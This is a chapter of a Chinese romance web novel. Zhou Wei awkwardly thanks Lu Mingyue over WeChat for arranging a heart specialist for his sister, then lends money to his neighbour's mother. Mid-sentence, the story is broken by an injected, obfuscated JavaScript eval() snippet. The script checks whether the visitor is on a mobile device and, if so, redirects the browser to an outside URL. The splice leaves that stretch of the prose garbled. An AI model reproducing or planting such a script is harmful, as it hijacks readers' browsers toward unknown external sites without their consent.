看见游鸣飞发来的消息,周惟沉默数秒,对着推来的微信头像发愣——是海报上的那张照片。
漂亮的、闪闪发光的、占据C位的明媚笑脸。
昵称也很符合她,月亮眨眨眼。
陆明月。
周惟点开微信,申请添加好友。
竟然又是陆明月帮了他。
连游鸣飞都摸不着门路的专家,被她请到了……只是为了帮他这么一个见过几面的人。
好友申请很快通过,却迟迟没有动静。
他想了想,先发了一个消息:【陆小姐,你好,我是周惟。】
收到消息,陆明月满意一笑。
又故意拖延几分钟,才高冷地回复:【嗯。】
周惟不擅长聊天,对着手机又琢磨了一阵。
陆明月就看着微信上方一直显示“对方正在输入中”。
多长的消息啊,写这么久。
陆明月托着下巴暗笑。
终于手机一响,对方的消息送到:【谢谢你。】
陆明月:?
就三个字,你要打一万年?用的老人机吗?
陆明月气呼呼,不想理他,把肖菀跟她嫂子对接的消息转发过去,撩开手机就睡了。
闭眼半天,还是睡不着,她愤怒睁眼,点开表情包列表阅兵。
那边的周惟记录完关键信息,等了半天没见下文,这才后知后觉,对方是不想理他了。
周惟看着戛然而止的对话框,思索很久。
他很想再发点什么,可心里沉甸甸的感谢,似乎无法用轻飘飘的言语承载。
他不擅长聊天,也不幽默,在接收到对方“结束交流”的信号时,即便很想继续这场对话,也不知该怎么开启。
正在他搜索“如何得体表示感谢”“如何与女生礼貌聊天”的时候,微信又弹了出来,他点开。
月亮眨眨眼:大锤八十JPG.
是一个表情包。
一个小女孩抡起大锤砸向屏幕,屏幕碎裂。
周惟无意识地微勾唇角,点击保存,让它成为列表里第一个表情包。
大概是生气了,因为他的回复太冷淡?
文字无法表达情绪,周惟想了想,很斟酌地在系统小黄豆表情里挑选。
陆明月又闭眼装睡,实在忍不住,睁开一只眼睛放哨,就看见又在显示输入中。
“哼,还以为你三棍子打不出个屁呢。”陆明月哼笑,自言自语,“帮你这么大的忙,这回知道说点好听……”
话音未落,消息送达。
陆明月定睛一看,表情凝固。
周惟:【微笑jpg】
系统小黄豆瞪着大眼睛,微笑地看着陆明月,好像在嘲讽。
“周惟!再理你我是王八蛋!”陆明月咬牙切齿,愤愤按灭手机,“睡觉!”
周惟这次足足等了半个小时,终于确认对方结束了对话。
除了社交与学习工作之外,他很少用手机,短视频游戏等一概不碰。这回他什么要紧的事情都没有,却盯着屏幕半晌,自己也不知道要干什么。
他想了想,忽然点开陆明月的备注,打上三个字:【陆小姐】
停顿片刻,又删掉,改成:【陆明月】
冬天的夜晚没有月亮,乌云漫天,连星星也看不见。
他看着这个备注,好像补全某个仪式,终于关掉手机,推开露台的门,回到病房里。
病床上,周茉赶紧拉上被子装睡。
周惟抬手摸了摸她的额头,没有发烧。
“别装了,手机给我,不可以再玩了。”
周茉乖乖上缴手机,眼睛却亮晶晶地看着周惟:“哥,你和谁聊天啊,在外面站那么久!是不是上次送包包的……”
“别乱说。”周惟敲她额头,“快睡觉,过几天要转院了。”
周茉一愣:“转院?鸣飞哥哥找到那个王医生了?不是说他在国外很难请吗?”
“不是师哥找到的。”周惟眸光微动,“是……一个贵人。”
周茉高兴坏了,笑着笑着眼圈却红了,她有点害怕,眼底又带着期盼:“哥,你说……我的病真的会好吗?”
病房的灯光温暖昏黄,周惟视线柔和,摸了摸妹妹的脑袋。
久病之人,最怕的不是陷入绝望的刹那,而是给予希望后又再次失望。
求医的这些年里,他带着周茉几乎把大大小小的医院看个遍,从希望到失望的轮回,几乎将兄妹俩的心神碾压到麻木。
而这一次,是希望最大的一次。
克制如周惟,在收到陆明月的消息时,都难免振奋,更何况是周茉。
他比谁都希望妹妹痊愈,但此刻,他却垂眸,用稀松平常的语气说:“不清楚。”
周茉眼神黯淡。
周惟接着说,“如果还是没法动手术,就接着保守治疗,十年二十年,哥照样供你。”
周茉露出灿烂笑容:“嗯!”
等周惟起身后,小小的女孩才用被子蒙住脑袋,枕巾渐渐洇湿。
-
心内科王专家此次的回国行程,算是一半公事,一半私事。公事的部分是受国内心研所的邀请,展开遗传性心肌病的治疗研究,仅开展为期两周的疑难病例会诊。私事的部分,是他个人想针对基因靶向治疗,与物理研究所交叉合作,方向是心肌微结构和靶向药物的递送研究。
简单来说,就是两个研究所合作,利用医用生物物理创新治病的方式。这也是陆明月能找肖菀她嫂子搭上线的原因。
肖菀的嫂子,肖何先生的妻子华棂女士,是理论物理的前沿研究者,和基础物理算是两条赛道,但组织活动的影像物理研究所老大是华教授的同事,再加上与王专家本科校友的关系,一来二去也算点头之交。
国内罕见病诊疗资源稀缺,华棂女士可不是个徇私的人,她只是把周茉的病例递交给联合研究所,到底能不能作为临床诊疗对象,还得看专家的评估。
她也没藏着掖着,直接让肖菀转告陆明月。
陆明月正好在肖菀旁边,听见电话里传来华教授的冷漠嗓音,赶紧点头称是:“行,我知道了,棂姐。”
华棂不是别人,能请动她帮忙已经面子很大了,还敢要求她以权压人吗?
反正陆明月不敢。
她虽然也希望挽救一条生命,但该守的规矩还是得守,想了想,还是如实对周惟说了。
电话那边,周惟的反应比她想象得平静:“嗯,我知道了,谢谢你,陆小姐。”
陆明月不高兴,“又是谢谢,除了这句话还能不能说点别的?”
周惟愣了愣,没等他开口,陆明月“啪”地把电话挂了。
不多时,微信响起。
月亮眨眨眼:【明天下午三点,会有人来接你们转院,提前收拾好东西。】
周惟下意识又想发谢谢,顿了顿,又删掉。
看着空空的对话框,他踌躇半晌,选择最友善的黄豆笑脸,点击发送。
陆明月看了眼手机,拳头攥紧:“周惟!你个王八蛋!”
下一刻,周惟的手机不断震动,他一惊,忙点开看。
只见大锤八十的表情包不断刷屏,愤怒几乎震碎屏幕。
周惟蹙眉,这是不小心坐到手机了吗?
他点开表情列表再次斟酌,最终选择了看起来充满关切的表情。
陆明月刷屏刷累了,刚停下,就看见那边又发来消息。
周惟:【疑问黄豆jpg】
陆明月不说话了,沉默震耳欲聋。
她咬牙切齿,把周惟备注改了。
【宇宙第一大聪明】
-
第二天中午,周惟抽空回了一趟家。
京市入冬很早,此时已至初雪。
老旧的安置房暖气设施简陋,等他收拾好行李,脚已经冻得麻木了。
拎着大箱子出门,撞见林斐然通红着眼走了出来,身后跟着脸色难看的林母。
周惟脚步一顿,林斐然挤出笑:“周惟?你这是去医院?茉茉怎么样了?”
那天宴会后,林斐然一定要周惟去医院看伤,赔偿他医药费。原本是好事,但因为这下耽搁,回家晚了,推门就看见倒在地上嘴唇发紫的周茉。
一连三四天,周惟都在医院里,林斐然去看了一次,见兄妹俩态度都不咸不淡,只好留下水果,不再打扰。
今天见周惟回来,林斐然不由得关切了一句。
“嗯,她还好。”周惟没有多说,正要避开母女俩走过去。
林母突然叫住他:“小周,你回来得正好,我有事要找你呢。”
“妈!你闭嘴,还嫌不够乱吗?”林斐然疾言厉色,打断林母。
林母却越发愤怒,“你嫌我添乱?我倒要问你,长这么大一点都不知道帮家里分担,说你两句就急眼,你……”
周惟没耐心听下去,“阿姨,什么事?”
林母话音一收,踌躇片刻,颇有些难为情道:“小周啊,是这样的。你也知道,今年房价跌的厉害,老林店里的生意也不好,现在银行欠的贷款都比房价高了,我们日子实在是难……”
“阿姨,有话您直说吧。”周惟淡淡道。
林母笑了笑:“我……我想跟你借点钱,下一个月你林叔发了工资立马还你。”
向一个刚上大学的年轻人借钱,听起来很不可思议。
周惟看着林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166314|196726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斐然的脸色,却大概猜到林母的用意,他抬头:“多少?”
“不多,就借八千。”
话音刚落,林斐然愤然跑下了楼。
周惟看着林母,拿出手机点了点:“转过去了。”
“欸,谢谢你啊,周惟。”
周惟拎着箱子下楼,等车的间隙,就看见林斐然走了过来。
“我家是缺钱,但也不至于穷到借你的救命钱。”林斐然眼神麻木,冷风吹起她的额发,显得越发憔悴,“你肯定看出来了吧,我妈以为我跟你在一起了,想用这招吓退你、让我在你面前抬不起头,好让我跟宋予臣复合。”
周惟没回答。
他的确看出林母的用意,顺势转出那笔钱的目的也很简单——一点点把人情债还清。
当年,林家父母和周家父母一起北上打工。
寸土寸金的京市,哪怕地处偏远郊区,周家父母也没能买得起一套房。周惟和周茉的童年就是辗转在各个出租屋中度过。
林斐然和林小敏却有些不同,林父脑子活络,找关系做起了装修生意,早年攒了点钱,贷款买了套房子,正是现在林家住的二手安置房。
两家的房东是同一个人,卖房的价钱在当年来说算公道,周家原本也想咬咬牙,东拼西凑付个首付,被年纪还小的周惟劝住了。
掏空钱包高杠杆买房,对他们的家庭来说,恐怕是祸不是福。
没多久,周家父母出事,周惟开始扛起家庭的重担。
起初日子是过得苦,但他赚钱的法子多,也懂理财。这么多年积攒下来,数目还算客观,之所以过得勤俭,还是为了填补周茉的医药费。
如果不能动手术,保守治疗的时间就没有尽头,要花的钱更是如此。所以即便现在不缺钱,也得把将来的花销打算好,在能赚钱的时候拼命赚。
自从和游鸣飞合作后,他就时不时来出租屋看周茉,林母大概是见过几次游鸣飞,也猜到周惟日子好过了点,所以才敢开那句口。
话说回来,就算没有游鸣飞,林家父母也不曾轻视他。
龙困浅滩只是一时,山沟里飞出的省状元,放在京市不起眼,可在他们家乡,是放鞭炮欢迎的。
林家和周家是一个村,当时周惟和林斐然一起回乡高考,出成绩的那天,林母脸上的荣耀和欣喜不是作假。
只是现实摆在眼前,房贷车贷两个孩子的学费,一家四口的吃穿用度都是等不了的难关。一个是明明白白痴心于女儿的富二代;一个是不知道什么时候才能得遇风雨的蛟龙,后者还有带个见不到底的拖油瓶,究竟是化龙还是成虫都两说。
这样一来,选谁是很明确的事情。
周惟知道自己被列为他们的选择项,却并不在意。
他心中自始至终有杆秤,人也好,情也罢,都能量化成数据,清晰明了地摆放整齐。
其实,林母并不是第一次开口。
在林斐然不知道的时候,林母拐弯抹角提了好几次。
不同名目,不同理由,借钱或是帮助理财,大多是小钱。只要是能力范围内,周惟给的很利落。
能用钱算明白的账,就不用情去偿还。
比起林斐然让他帮的忙,他反倒更愿意林母多开几次口。
就这么一点一滴的累积,直到现在,周惟心中的天平已经缓缓回升,趋近平稳。
见周惟始终沉默,林斐然也不在意,似乎只是想找个人倒苦水。
世上也只有这个人,一如既往地陪在她身边,即便沉默冰冷,却不会离开。
寒风里,林斐然望着周惟的侧脸——和这样的少年一起长大,她也曾是无数女孩子羡慕的对象。
春心萌动的时候,林斐然幻想过和周惟恋爱。
可这样的念头也不过浮现刹那,很快熄灭。
他太寡淡了,像高原冰层底下的溪流,冷清地流淌在自己的世界里,好像永远不会为任何一朵花停留。
父母去世后,那种冷淡更是包裹了一层坚硬的外壳,变得冷漠锋利,愈发叫人不敢靠近。
在年轻女孩的眼里,爱应该是热烈的,应该像宋予臣那样,爱要燃烧到极致,恨也浓稠而炙热。所以少女的朦胧的情愫很快融化在新鲜的热情里,直到现在……
她被烫得遍体鳞伤,除了疲惫与痛苦,似乎什么也不剩。
林斐然眼圈泛红,瞳孔倒映着周惟的脸。
这么多年,只有他什么也没变,依然像冬日的初雪,冷清寂然。
从前她畏惧那样的清冷,现在却生出迟来的妄念——朝夕相伴的情谊,即便淡如溪水,也该有属于她的温暖。
“周惟。”林斐然定定看着他,忽然道:“要不……我们真的在一起吧?”